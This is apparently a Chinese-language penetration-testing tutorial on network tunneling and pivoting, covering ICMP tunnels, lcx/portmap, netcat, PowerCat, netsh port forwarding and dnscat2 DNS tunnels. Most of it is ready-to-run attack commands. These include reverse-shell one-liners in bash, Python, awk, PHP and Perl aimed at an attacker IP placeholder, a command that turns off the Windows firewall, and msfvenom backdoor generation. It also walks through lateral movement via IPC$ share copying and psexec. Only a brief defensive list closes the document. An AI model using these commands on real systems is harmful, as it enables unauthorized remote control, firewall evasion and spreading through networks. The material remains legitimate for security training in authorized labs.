物链网传会表应
常用的隧道技术:
(1)网络层:IPv6隧道、ICMP隧道、GRE隧道
(2)传输层:TCP隧道、UDP隧道、常规端口转发
(3)应用层:SSH隧道、HTTP隧道、HTTPS隧道、DNS隧道
IPv6 是"Internet Protocol Version 6"的缩写,也被称为下一代互联网协议,它是由 IETF (The Internet Eng ineer ing TaskForce) 国际互联网工程任务组)设计用来代替现行的 IPv4 协议的一种新的IP协议,IPv4 协议已经使用了20多年,目前面临着地址匮乏等一系列问题,而 IPv6 则能从根本上解决这些问题,现在,由于 IPv4 资源几乎耗尽,IPv6 开始进 入过渡阶段。
IPv6 隧道技术指的是通过 IPv4 隧道传送 IPv6 数据报文的技术,为了在 IPv4 的海洋中传输IPv6信息,可以将 IPv4 作为隧道载体,将 IPv6 报文整体封装在 IPv4 数据报文中,使 IPv6 能够穿越 IPv4 的海洋, 到达另一个 IPv6 小岛,支持 IPv6 的隧道工具有 socat、6tunnel、nt6tunnel 等。
在 ICMP 通信协议中,通信双方的两台设备不需要开放端口即可进行,最常见的 ICMP 协议的消息为 ping 命令的回复。在一些网络环境中,如果攻击者使用各类上层隧道(例如HTTP隧道、DNS隧道、常规端口转发等)进行的操作都失败了,由于防火墙不会屏蔽ping数据包,所以常常会通过 ping 命令访问远程主机,尝试建立 ICMP 隧道,将 TCP/UDP 数据封装到 ICMP 的 ping 数据包中,从而穿过防火墙,实现不受限制的网络访问。
GRE (Gener ic Rout ing Encapsul ation,通用路由封装协议)是对某些网络层协议(如:IP,IPX, AppleTalk等) 的数据报文进行封装,使这些被封装的数据报文能够在另一个网络层协议中传输。GRE 协议实际上是一种封装协议,它提供了将一种协议的报文封装在另一种协议报文中的机制,使报文能够在异种网络中传输。
项目下载:
git clone https://github.com/inquisb/icmpsh.git
由于 icmpsh 工具要替代系统ping命令的应答程序,所以要关闭本地系统的ICMP应答。
(如需恢复系统应答,则设置为0)
sysctl -w net.ipv4.icmp_echo_ignore_all=1
-t 主机发送ping请求的主机ip地址。此选项是必需的!
-r 发送包含字符串“Test1234”的单个测试icmp请求,然后退出,这是为了测试连接。
-d 毫秒:请求之间的延迟,以毫秒为单位
-o 以毫秒为单位的响应超时 如果没有及时接收到响应 从机将增加空白计数器 如果该计数器达到极限 则从机将退出 如果接收到响应 计数器将设置回0
-b 空白数量限制(退出前未响应的icmp请求)
-s 字节:最大数据缓冲区大小(字节)
在攻击机icmpsh路径下执行命令
python2 icmpsh_m.py 攻击机IP 靶机IP
靶机执行命令icmpsh.exe
icmpsh.exe -t 攻击机IP -d 500 -b 30 -s 128
可以看到已经成功拿到 shell 了
在实际的渗透测试中,如何知道受害机的公网 IP 呢,严格说这个 IP 应该是 server 端看到的 IP,为了得到这个 IP 可以从内网终端 ping 这个 vps,在 vps 中用 tcpdump icmp
或 tcpdump -i eth0 icmp
命令监听并获取这个 IP,然后填写
icmptunnel 工具是一个将IP流量封装到ICMP echo
请求和回复(ping) 包中的隧道工具,是在允许 ping 的网络中进行拓展、绕过防火墙的一种半隐蔽方式。虽然ICMPecho
流量在网络边界通常会被过滤,但这种方法仍然可能对从企业内网出连到互联网的技术有一定帮助。
项目地址:
git clone https://github.com/jamesbarlow/icmptunnel.git
用法:
ls
cd icmptunnel
make
用法:./icmptunnel[options]-s|服务器
-v 打印版本并退出
-h 打印帮助并退出
-k<interval>保持活动数据包之间的间隔 //默认间隔为5秒。
-r<retries>超时前的数据包重试限制 //默认值为5次重试
-m<mtu>隧道接口的最大帧大小 //默认隧道mtu为1500字节
-e 模拟microsoft ping实用程序
-d 作为守护进程在后台运行
-s 在服务器模式下运行 //服务器以客户端模式运行,使用服务器ip/主机名
由于 icmpsh 工具要替代系统 ping 命令的应答程序,所以与上相同,也需要关闭本地系统的 ICMP 应答
(如需恢复系统应答,则设置为0)
sysctl -w net.ipv4.icmp_echo_ignore_all=1
在攻击机开启监听
./icmptunnel -s
另外打开一个命令窗口,添加 tun0 网卡,分配隧道地址为10.0.0.1/24,(任意地址)/24
ifconfig tun0 10.0.0.1 netmask 255.255.255.0
完成后查看 IP,添加成功
在靶机处执行操作,连接
./icmptunnel 攻击机IP
另外打开一个命令窗口,添加 tun0 网卡,分配隧道地址为10.0.0.2(需要与上面攻击机网段相同)
ifconfig tun0 10.0.0.2 netmask 255.255.255.0
在攻击机处 ssh 连接靶机的开放 IP
ssh [email protected]
多数管理员会阻止ICMP
通信进入站点。但是在出站方向,ICMP
通信是被允许的,而且目前大多数的网站通信和边界设备不会过滤ICMP
流量。使用ICMP
协议会产生大量的1CMP数据包。我们可以通过Wireshark
进行ICMP
数据分析,以检测恶意的ICMP
流量。
在渗透测试中,如果内网的防火墙阻止了对指定端口的访问,当获取了目标机器的权限后,可以使用防火墙命令打开指定的端口或关闭防火墙。但如果内网中存在一系列防御系统,TCP、 UDP 流量会被大量拦截,这时就需要一些工具来绕过拦截。
Lcx 是一个很经典的端口转发工具,其基于 Socket 套接字,有 Windows 和 Linux 两个版本。Windows 的为 Icx. exe
,Linux 的为portmap
。
注:一个正常的 socket 套接字必须具备两端:一端是服务器,监听一个端口,等待客户端连接;另- -端为客户端,通过给出服务器的IP和端口,与服务端建立连接。
将本机4444端口上监听到的数据转发到本机的8888端口上面
lcx.exe -listen 4444 8888
接着将本机3389端口的数据转发到公网IP的4444端口上
lcx -slave 公网IP 4444 127.0.0.1 3389
如果目标服务器由于防火墙的限制,部分端口如3389的数据无法通过防火墙,这时就可以将目标服务器相应端口的数据透传到防火墙允许的端口如53
在目标主机上执行如下命令即可
lcx.exe -tran 53 127.0.0.1 3389
在本机执行
lcx.exe -listen 4444 8888
将本机4444端口上监听到的数据转发到本机的8888端口上
然后在靶机执行
lcx.exe -slave 公网IP 4444 127.0.0.1 3389
将靶机3389端口的数据转发到攻击者公网 IP 的4444端口上
通道建立后,可以在本机使用远程桌面连接靶机
127.0.0.1:8888
靶机IP:8888
用法:./portmap -m 方法 [-h1 host1] -p1 port1 [-h2 host2] -p2 port2 [-v] [-log 文件名]
-v:版本
-h1:主机1
-h2:主机2
-p1:端口 1
-p2:端口2
-log:记录数据
-m:此工具的操作方法
1:监听 PORT1 并连接到 HOST2:PORT2
2:监听 PORT1 和 PORT2
3:连接到 HOST1:PORT1 和 HOST2:PORT2
使用 -m
参数,有以下三个方式:
(1)将 host2 的 port2 端口转发到本机的 port1 端口
./portmap -m 1 -p1 6666 -h2 另一台主机IP -p2 22
(2)监听 port1 端口,并将其流量转发到 port2 端口
./portmap -m 2 -p1 6666 -p2 7777
(3)连接主机1对应的端口和主机2对应的端口
./portmap -m 3 -h1 127.0.0.1 -p1 22 -h2 另一台主机IP -p2 6666
首先监听本机来自6666端口的请求,将其转发给7777端口
./portmap -m 2 -p1 6666 -p2 7777
然后靶机将内网主机22端口的流量转发到攻击机的6666端口
./portmap -m 3 -h1 127.0.0.1 -p1 22 -h2 攻击机IP -p2 6666
现在可以看到靶机的22端口已经连接到了本机的6666端口
然后ssh连接本机的7777端口,即可连接上靶机
ssh root@攻击机IP -p 7777
我这里连接极其不稳定,只有寥寥几次成功
NC (netcat) 被称为网络工具中的瑞士军刀,体积小巧,但功能强大。
NC 可以在两台设备上面相互交互,即侦听模式/传输模式
(1)Telnet功能
(2)获取banner信息
(3)传输文本信息
(4)传输文件/目录
(5)加密传输文件,默认不加密
(6)远程控制
(7)加密所有流量
(8)流媒体服务器
(9)远程克隆硬盘
-4 使用 IPv4
-6 使用 IPv6
-b 允许广播
-C 发送 CRLF 作为行尾
-D 启用调试套接字选项
-d 与标准输入分离
-F 传递套接字 fd
-h 这个帮助文本
-I length TCP 接收缓冲区长度
-i 间隔 发送线路的延迟间隔,扫描的端口
-k 保持入站套接字为多个连接打开
-l 监听模式,用于入站连接
-M ttl 传出 TTL / 跳数限制
-m minttl 最小传入 TTL / 跳数限制
-N 在标准输入 EOF 后关闭网络套接字
-n 禁止名称/端口解析
-O length TCP 发送缓冲区长度
-P proxyuser 代理认证的用户名
-p port 指定远程连接的本地端口
-q secs 在标准输入 EOF 后退出并延迟 secs
-r 随机化远程端口
-S 启用 TCP MD5 签名选项
-s sourceaddr 本地源地址
-T 关键字 TOS 值
-t 应答 TELNET 协商
-U 使用 UNIX 域套接字
-u UDP 模式
-V rtable 指定备用路由表
-v 详细
-W recvlimit 收到一定数量的数据包后终止
-w timeout 连接和最终网络读取超时
-X proto 代理协议:“4”、“5”(SOCKS)或“connect”
-x addr[:port] 指定代理地址和端口
-Z DCCP 模式
-z 零 I/O 模式 [用于扫描]
抓取Banner信息
nc -nv IP 22
-n 表示以数字形式显示IP
-v 显示详细信息
扫描指定主机的指定端口
nc -v ip_address port
nc -nvz 1.1.1.1 1-65535 (NC默认探测的是TCP协议端口是否有开放)
nc -nvzu 1.1.1.1 1-1024 (NC也可以探测UDP协议的端口)
连接远程主机
nc -nvv ip_address port
扫描端口段
nc -v -z IP(网关地址) 1-65535
文件传输
在本地主机输入以下命令,开始监听,等待连接。一旦连接建立,数据便会流入。
nc -lp 333 >1.txt
在目标主机中输入以下命令,与本地主机333端口建立连接,并传输test.txt。
nc -vn ip_address 333
远程克隆硬盘
取证机:
nc -lp 1234 | dd of=/dev/sda
被取证机:
dd if=/dev/sda | nc -nv 1.1.1.1 1234 -q 1
正向 shell
在靶机执行
nc -lvnp 4444 -e /bin/bash
攻击机执行
nc 攻击机IP 4444
连接靶机4444端口
反向 shell
在攻击机监听端口
nc -lvnp 4444
在靶机连接攻击机端口
nc 攻击机IP 4444 -e /bin/bash
需要三台 kali ,也可以两台不一定非要是 kali ,kali1 与 kali2 属于同一内网,kali3 可以访问 kali1,不可以访问 kali2
首先 kali3 监听端口 4444
nc -lvnp 4444
kali2 将自己的 shell 弹出到 4444
nc -lvnp 4444 -e /bin/bash
kali1 获得 kali2 的 shell ,并且重定向到 kali3
nc -v kali3与kali1能够互相ping通的网关IP 4444 -c "nc -v kali2的IP 4444"
回到 kali3 ,已经成功建立连接
无 nc 反弹 shell
攻击机监听端口
nc -lvnp 4444
靶机执行命令
bash -i >& /dev/tcp/攻击机IP/4444 0>&1
python 反弹 shell
攻击机监听端口
nc -lvnp 4444
靶机执行命令
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("攻击机IP",4444));os.dup2(s.fileno(),0) ;os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
awk 反弹 shell
主机监听
nc -lvnp 4444
靶机执行
awk 'BEGIN {s = "/inet/tcp/0/攻击机IP/4444"; while(42) { do{ printf "shell>" |& s; s|& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } }while( c!= "exit") close(s); }}' /dev/null
php 反弹 shell
攻击机监听
nc -lvnp 4444
靶机执行命令
php -r '$sock=fsockopen("攻击机IP",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
perl 反弹 shell
攻击机监听
nc -lvnp 4444
靶机执行
perl -e 'use Socket;$i="攻击机IP";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
部分系统可能会出现如下所示
我们可以输入下面的指令(需要管理员权限)
Set-ExecutionPolicy -ExecutionPolicy RemoteSigned
#RemoteSigned
Windows 服务器计算机的默认执行策略。
脚本可以运行。
需要来自受信任的发布者对从 Internet 下载的脚本和配置文件(包括电子邮件和即时消息程序)的数字签名。
不需要对在本地计算机上编写的脚本(而不是从 Internet 下载)进行数字签名。
如果脚本被取消阻止,则运行从 Internet 下载且未签名的脚本,例如使用 Unblock-File cmdlet。
从 Internet 以外的源运行未签名脚本的风险,以及可能是恶意的签名脚本。
运行 PowerCat,首先使用管理员权限打开 cmd 命令行输入以下命令
Import-Module .\powercat.ps1
用法:
powercat -h
-l 监听连接 [Switch]
-c 连接到一个监听器。 [String]
-p 要连接或侦听的端口。 [String]
-e 执行。 (GAPING_SECURITY_HOLE) [String]
-ep 执行 Powershell。 [Switch]
-r 中继。格式:“-r tcp:10.1.1.1:443” [String]
-u 通过 UDP 传输数据。 [Switch]
-dns 通过 dns (dnscat2) 传输数据。 [String]
-dnsft DNS 故障阈值。 [int32]
-t 超时选项。默认值:60 [int32]
-i 输入:文件路径(字符串)、字节数组或字符串 [object]
-o 控制台输出类型:“主机”、“字节”或“字符串” [String]
-of 输出文件路径。 [String]
-d 连接后断开连接。 [Switch]
-rep 中继器。断开后重新启动。 [Switch]
-g 生成有效负载。 [Switch]
-ge 生成编码的有效负载。 [Switch]
-h 打印帮助信息。 [Switch]
基本客户端配置开启监听
powercat -c ip_address -p 443
接受监听器
powercat -l -p 端口号
基本客户端,输出为字节
powercat -c ip_address -p port -o Bytes
提供一个cmd
powercat -l -p 443 -e cmd
发送一个cmd
powercat -c ip_address -p 443 -e cmd
提供一个执行powershell命令的shell
powercat -l -p 443 -ep
文件传输:
上传文件
powercat -c ip_address -p port -i C:\路径
接收文件
powercat -l -p port -of C:\路径
应用层隧道技术是在内网中建立一个稳定,可靠的数据通道。应用层(Application layer)是七层OSI
模型的第七层。应用层直接和应用程序接口并提供常见的网络应用服务。应用层的隧道技术主要利用应用软件提供的端口来发送数据,常用的协议有SSH、HTTP/HTTPS
和DNS
DNS 隧道:
DNS协议是域名解析协议,在域名和IP地址之间进行转换,该协议也是一种请求/应答协议,也是一种可用于应用层的隧道技术。DNS,ICMP,HTTP/HTTPS
等难以禁用的协议已成为攻击者控制隧道的主流隧道。
DNS 隧道工作原理:
在进行DNS查询时,如果查询的域名不在DNS服务器本机的缓存中,就会访问互联网进行查询,然后返回结果。如果在互联网上有一台定制的服务器,那么依靠 DNS 协议即可进行数据包的交换。从 DNS 协议的角度看,这样的操作只是在一次次地查询某个特定的域名并得到解析结果,但其本质问题是,预期的返回结果应该是一个 IP 地址,而事实上返回的可以是任意字符串,包括加密的 C&C 指令。
C&C 服务器:
用于管理僵尸网络和进行 APT 攻击的服务器叫做 C&C 服务器(Command and Control Server ,命令及控制服务器)。C&C 节点分为两种,分别是 C&C 服务端(攻击者)和 C&C 客户端(被控制的计算机)。C&C 通信是指植入C&C客户端的木马或后门门程序与 C&C 服务端上的远程控制程序之间的通信正常网络之间的通信,都是在两台机器之间建立 TCP 连接后进行的。在进行数据通信时:如果目标是 IP 地址,可以直接发送报文;如果目标是域名,会先将域名解析成IP地址,再进行通信。两台机器建立连接后,C&C 服务器就可以将指令传递给 C&C 客户端上的木马(后门)程序,让其受到控制。
内网中安装了各种软硬件防护设施来检查主机与外部网络的连接情况。很多厂商会收集 C&C 服务器的域名、IP 地址、URL 等数据,帮助防火墙进行阻断操作。这样一来,C&C 通信就会被切断。于是,通过各种隧道技术实现 C&C 通信的技术(特别是DNS隧道技术)就出现了。
netsh (Network Shell) 是一个 windows 系统本身提供的功能强大的网络配置命令行工具,具备管理 windows 网络配置和防火墙配置功能的工具。我们可以通过 netsh 传入的 tcp 连接转发到本地或者远程计算机的端口。
用法:
netsh [-a AliasFile] [-c Context] [-r RemoteMachine] [-u [DomainName\]UserName] [-p Password | *] [Command | -f ScriptFile]
? - 显示命令列表。
add - 在项目列表上添加一个配置项目。
advfirewall - 更改到 `netsh advfirewall' 上下文。
bridge - 更改到 `netsh bridge' 上下文。
delete - 在项目列表上删除一个配置项目。
dhcpclient - 更改到 `netsh dhcpclient' 上下文。
dnsclient - 更改到 `netsh dnsclient' 上下文。
dump - 显示一个配置脚本。
exec - 运行一个脚本文件。
firewall - 更改到 `netsh firewall' 上下文。
help - 显示命令列表。
http - 更改到 `netsh http' 上下文。
interface - 更改到 `netsh interface' 上下文。
ipsec - 更改到 `netsh ipsec' 上下文。
lan - 更改到 `netsh lan' 上下文。
mbn - 更改到 `netsh mbn' 上下文。
namespace - 更改到 `netsh namespace' 上下文。
netio - 更改到 `netsh netio' 上下文。
nlm - 更改到 `netsh nlm' 上下文。
p2p - 更改到 `netsh p2p' 上下文。
ras - 更改到 `netsh ras' 上下文。
rpc - 更改到 `netsh rpc' 上下文。
set - 更新配置设置。
show - 显示信息。
trace - 更改到 `netsh trace' 上下文。
wcn - 更改到 `netsh wcn' 上下文。
wfp - 更改到 `netsh wfp' 上下文。
winhttp - 更改到 `netsh winhttp' 上下文。
winsock - 更改到 `netsh winsock' 上下文。
wlan - 更改到 `netsh wlan' 上下文。
查看存在的转发
netsh interface portproxy show all
添加一个IPv4到IPv4的端口映射
netsh interface portproxy add v4tov4 listenport=22 connectaddress=ip connectport=port
删除指定转发端口
netsh interface portproxy delete v4tov4 listenport=port
删除所有规则
netsh interface portproxy reset
查看当前系统所有网络类型的防火墙状态
netsh advfirewall show allprofiles
关闭当前系统防火墙
netsh advfirewall set alprofiles state off
启用当前系统防火墙
netsh advfirewall set allprofiles state on
利用 windows 自带的端口转发 netsh interface portproxy
通过这个小工具在代理服务器设置端口转发
这里需要三台服务器来模拟端口转发场景
这里用:攻击机:kali、Web服务器:winserver2012、代理服务器:win10
其中Web服务器配置了 php 环境提供 web 服务,位于内网中。代理服务器连接在公网上。
场景为Web服务器有一个使用80端口的 WEB 服务,该 Web 服务需求 Web 服务器不能布置在公网上,且该业务只能运行于该 web 服务器,需要通过代理服务器被公网访问,但是不能改变网络拓扑架构。
首先进入到 Web 服务器,利用 phpstudy 开启 php 环境
win10 正常访问页面,kali 无法再正常访问
进入 代理服务器 在命令框输入
netsh interface portproxy show all #查看所有转发规则
netsh interface portproxy add v4tov4 listenport=1111 connectaddress=靶机IP(winserver) connectport=80 #建立端口转发(需要管理权限)
netsh interface portproxy show all #查看是否建立成功
成功了
如果要删除就输入:netsh interface portproxy delete v4tov4 listenport=port
无法 ping 通解决方法:
(1)关闭防火墙
(2)添加入站规则
使用攻击机 kali 模拟黑客,访问代理服务器的1111端口,成功
接着使用 kali 的 bp 配代理抓包,即可查看内网 web 服务器业务
注意:这种方式进行端口转发有一个缺点,就是无法穿透防火墙
内网就是内部建立的局域网络或办公网络。
外网就是通过一个网关或网桥与其它网络系统进行连接, 相对于自己的内网来说,连接的其它网络系统就称为外部网络,也叫外网
内网映射:
内网映射是指当外网访问到达你的路由器后,把这个访问转发内网的一台主机上。比如你在内网建了一个 web 服务器(就是网站)。外面的人访问请求只能看到你的路由器,也只能到达你的路由器如果你不映射(有的叫转发,有的叫虚拟服务)到内网, 那么访问者会出现无法访问,当你进行映射时,访问者才可以访问到内网服务。
横向渗透:
横向渗透,就是在已经攻占部分内网主机的前提下,利用既有的资源尝试获取更多的凭据、更高的权限,进而达到控制整个内网、拥有最高权限、发动 APT (高级持续性威胁攻击)的目的。
在横向渗透中,最先得到的主机,以及之后新得到的主机, 会成为突破口、跳板。如同一个不断扩大的圆形,获得的主机越多,圆能触及之处越大,让其周遭的「横向」部分由未知成为已知
这里我们使用3台服务器:
(1)靶机:内网 web:win7
(2)代理服务器(内网、外网):winserver2012
(3)攻击机:kali
首先进入攻击机,利用 msf 生成后门命令为下,生成ceshi.exe
msfvenom -p windows/meterpreter/reverse_tcp lhost=攻击机IP(也就是kali的IP) lport=任意port -f exe > ceshi.exe
进入代理服务器进行 netsh 端口转发,IP 为攻击机 IP
netsh interface portproxy add v4tov4 listenport=前面写的端口 connectaddress=攻击机IP connectport=前面写的端口 #建立端口转发(需要管理权限)
netsh interface portproxy show all #查看是否建立成功
成功,将制作好的后门放入代理服务器
回到 kali 设置 msf 监听,启动 msf,配置如下
use exploit/multi/handler #选择攻击模块
set payload windows/meterpreter/reverse_tcp #选择payload
set lport 3333 #设置端口,之前选的端口
set lhost 攻击机IP #设置地址
run
我们利用代理服务器与web服务器建立IPC连接。 建立连接的命令为:
net use \\靶机IP\ipc$ "密码" /user:"账户名"
查看连接建立是否成功:
net use
成功
建立IPC连接的三个条件:
(1)靶机开启139和445端口
(2)靶机主机管理员开启了 ipc$ 默认共享
(3)知道靶机的账户密码
通过这台代理服务器将后门程序利用 ipc 连接传入到靶机
复制命令
copy C:\Users\Administrator\Desktop\ceshi.exe \\靶机IP\c$
查看命令:
dir \\靶机IP\c$
可以看到上传成功,使用域渗透工具psexec
psexec.exe /accepteula /s \\ip_address -u Administrator -p password cmd
-accepteula 第一次运行 PsExec 会弹出确认框,使用该参数就不会弹出确认框
-s 以 System 权限运行远程进程,如果不用这个参数,就会获得一个对应用户权限的 shell直接直接执行回
显
-u 域\用户名
-p 密码
注意:这种方式可以绕过防火墙
dnscat2隧道有两种模式,分别是直连模式和中继模式。
直连模式:客户端直接指向 IP 地址的 DNS 服务器发起 DNS 解析请求。
中继模式:DNS 经过互联网的迭代解析,指向指定的 DNS 服务器。与直连模式相比,中继模式的速度较慢。
一般情况下, 使用 dnscat2 的中继模式要更加频繁,因为直连模式的隐蔽性要更差一些。
当网段只允许白名单流量出站,同时屏蔽其他端口,传统的C&C通信无法建立。在这样的情况下,可以使用 DNS 隐蔽隧道建立通信。
服务端下载 dnscat2
项目下载:git clone https://github.com/iagox86/dnscat2.git
roby编译
cd dnscat2/server
gem install bundler
apt-get install ruby-dev
bundle install
客户端下载 dnscat2
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/client/
make
启动服务端
在服务端运行
ruby dnscat2.rb
下面会出现客户端指令,输入改 IP 即可
启动客户端
在客户端运行
./dnscat2 --dns server=服务端IP,port=53 --secret=
在服务端输入window
输出所有通道
window
进入客户端1通道
window -i 1
查看命令
help
建立反弹 shell
(1)只允许与受信任的 DNS 服务器通信
(2)将邮件服务器网关列入白名单并阻止传入和传出流量中的 TXT 请求
(3)跟踪用户的 DNS 查询次数,如果达到阈值,就生成相应报告
(4)阻止 ICMP